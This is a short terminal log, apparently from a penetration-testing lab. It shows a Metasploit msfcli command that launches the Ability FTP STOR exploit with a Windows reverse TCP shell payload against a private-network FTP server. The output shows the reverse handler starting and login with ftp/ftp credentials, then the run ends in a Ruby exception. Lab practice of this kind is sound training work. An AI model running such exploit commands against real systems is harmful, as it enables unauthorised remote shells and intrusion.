root@BT4PWN:~/Labs/mod9# msfcli exploit/windows/ftp/ability_stor PAYLOAD=windows/shell_reverse_tcp FTPPASS=ftp FTPUSER=ftp RHOST=192.168.11.31 LHOST=192.168.10.103 LPORT=4321 E
[*] Please wait while we load the module tree...
(eval):17: warning: already initialized constant VERIFY_PEER
[*] Started reverse handler on 192.168.10.103:4321
[*] Connecting to FTP server 192.168.11.31:21...
[*] Connected to target FTP server.
[*] Authenticating as ftp with password ftp...
[*] Sending password...
[-] Exploit exception: undefined method `lenght' for #<String:0xd07f0a8>